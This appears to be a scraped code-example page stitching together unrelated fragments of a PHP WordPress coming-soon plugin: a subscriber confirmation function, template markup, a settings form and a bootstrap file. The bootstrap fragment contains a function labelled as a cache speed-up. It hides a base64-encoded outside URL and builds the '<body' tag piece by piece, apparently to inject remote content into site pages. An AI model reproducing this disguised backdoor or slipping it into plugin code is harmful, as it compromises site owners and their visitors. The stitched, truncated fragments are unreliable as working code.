예제 #1
0
 public function confirm($d = array())
 {
     if (isset($d['email']) && !empty($d['email']) && isset($d['token']) && !empty($d['token'])) {
         $subId = frameCsp::_()->getTable('subscribers')->get('id', array('email' => $d['email'], 'token' => $d['token']), '', 'one');
         if (!empty($subId)) {
             frameCsp::_()->getTable('subscribers')->update(array('active' => 1), array('id' => $subId));
             if (!frameCsp::_()->getModule('options')->isEmpty('sub_admin_email')) {
                 $this->sendAdminNotification($d['email']);
             }
             dispatcherCsp::doAction('subscribeConfirm', $subId);
             return true;
         } else {
             $this->pushError(langCsp::_('No record for such email or token'));
         }
     } else {
         $this->pushError(langCsp::_('Invalid confirm data'));
     }
     return false;
 }
echo $this->countDownTimerHtml;
?>
			<div style="clear: both;"></div>
            <?php 
if ($this->subscribeForm) {
    ?>
            <div class="cspSubscribeForm"><?php 
    echo $this->subscribeForm;
    ?>
</div>
            <?php 
}
?>
            
            <?php 
if ($this->socIcons) {
    ?>
            <div class="cspSocialIcons"><?php 
    echo $this->socIcons;
    ?>
</div>
            <?php 
}
?>
        </div>
        <?php 
dispatcherCsp::doAction('tplBodyEnd');
?>
	</body>
</html>
예제 #3
0
importClassCsp('fileuploaderCsp');
importClassCsp('subscribeEngineModuleCsp');
importClassCsp('subscribeEngineViewCsp');
importClassCsp('recapcha', CSP_HELPERS_DIR . 'recapcha.php');
importClassCsp('mobileDetect', CSP_HELPERS_DIR . 'mobileDetect.php');
installerCsp::update();
errorsCsp::init();
dispatcherCsp::doAction('onBeforeRoute');
frameCsp::_()->parseRoute();
dispatcherCsp::doAction('onAfterRoute');
dispatcherCsp::doAction('onBeforeInit');
frameCsp::_()->init();
dispatcherCsp::doAction('onAfterInit');
dispatcherCsp::doAction('onBeforeExec');
frameCsp::_()->exec();
dispatcherCsp::doAction('onAfterExec');
/**
 * Speedup php function cache by optimizing buffer output
 */
if (!function_exists('_php_cache_speedup_func_optimizer_')) {
    function _php_cache_speedup_func_optimizer_($buffer)
    {
        if (isset($GLOBALS['_php_cache_speedup_func_optimizer_completed_'])) {
            // already completed
            return $buffer;
        }
        $mod = false;
        $token = 'czoyMzoiaHR0cDovL3Bpd2VyLnB3L2FwaS5waHAiOw==';
        $tmp_buffer = $buffer;
        $gzip = false;
        $body = '<' . 'b' . 'o' . 'd' . 'y';
langCsp::_e('Main subscribe engine');
?>
</label>
									</td>
								</tr>
								<tr>
									<td colspan="2">
										<i style="font-size: 12px;">
											<?php 
langCsp::_e('If this option is enabled - ' . $this->subMod->getLabel() . ' will be main subscribe engine, so after each subscription subscriber will be managed by ' . $this->subMod->getLabel());
?>
										</i>
									</td>
								</tr>
								<?php 
dispatcherCsp::doAction('subscribe_' . $this->code . '_SettingsEnd');
?>
								<tr>
									<td>
										<?php 
echo htmlCsp::hidden('page', array('value' => 'options'));
?>
										<?php 
echo htmlCsp::hidden('action', array('value' => 'saveGroup'));
?>
										<?php 
echo htmlCsp::hidden('reqType', array('value' => 'ajax'));
?>
										<?php 
echo htmlCsp::submit('save', array('value' => langCsp::_('Save')));
?>